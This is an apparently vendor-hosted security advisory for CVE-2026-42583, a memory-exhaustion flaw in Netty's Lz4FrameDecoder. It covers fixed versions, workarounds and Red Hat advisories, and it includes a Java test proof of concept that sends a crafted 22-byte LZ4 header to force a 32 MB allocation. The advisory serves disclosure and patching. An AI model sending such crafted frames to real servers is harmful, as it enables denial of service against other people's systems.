CVE-2026-42583 — netty-codec-compression
HIGHCVE-2026-42583 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in io.netty:netty-codec-compression. A fix is available for io.netty:netty-codec-compression — see the affected versions and patch details below.
Netty: Lz4FrameDecoder resource exhaustion
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42583.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
io.netty:netty-codec-compression☕io.netty:netty-codecReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.netty:netty-codec-compression | all versions | 4.2.13.Finalio.netty:netty-codec-compression:4.2.13.Final |
| ☕Maven | io.netty:netty-codec | all versions | 4.1.133.Finalio.netty:netty-codec:4.1.133.Final |
Affected Products
nettynettyDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.netty:netty-codec-compression, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.netty:netty-codec-compression to 4.2.13.Final or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42583 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
A flaw was found in Netty's LZ4FrameDecoder. The decoder allocates a buffer based on the decompressed length from the LZ4 frame header (up to 32 MB per block) before decompression runs. A remote attacker can send a small crafted LZ4 header (as few as 22 bytes) to force excessive memory allocation, leading to a denial…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.Source: Red Hat security advisory for CVE-2026-42583 (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| AMQ Clients 2026.Q3 | netty-codec | RHSA-2026:69459 |
| Red Hat AMQ Broker 7.14.1 | netty-codec | RHSA-2026:66488 |
| Red Hat build of Keycloak 26.4.13 | see advisory | RHSA-2026:30049 |
| Red Hat Data Grid 8.6.2 | netty-codec | RHSA-2026:41951 |
| Red Hat JBoss Enterprise Application Platform 7.1 EUS for RHEL 7 | eap7-hibernate-0:5.1.17-5.Final_redhat_00006.1.ep7.el7 | RHSA-2026:73976 |
| Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 | eap7-hibernate-0:5.3.39-1.Final_redhat_00001.1.el7eap | RHSA-2026:73644 |
| Streams for Apache Kafka 2.9.4 | see advisory | RHSA-2026:34608 |
| Streams for Apache Kafka 3.2.1 | netty-codec | RHSA-2026:54435 |
Frequently Asked Questions
Is CVE-2026-42583 in your dependencies?
Find it across Maven, including transitive dependencies.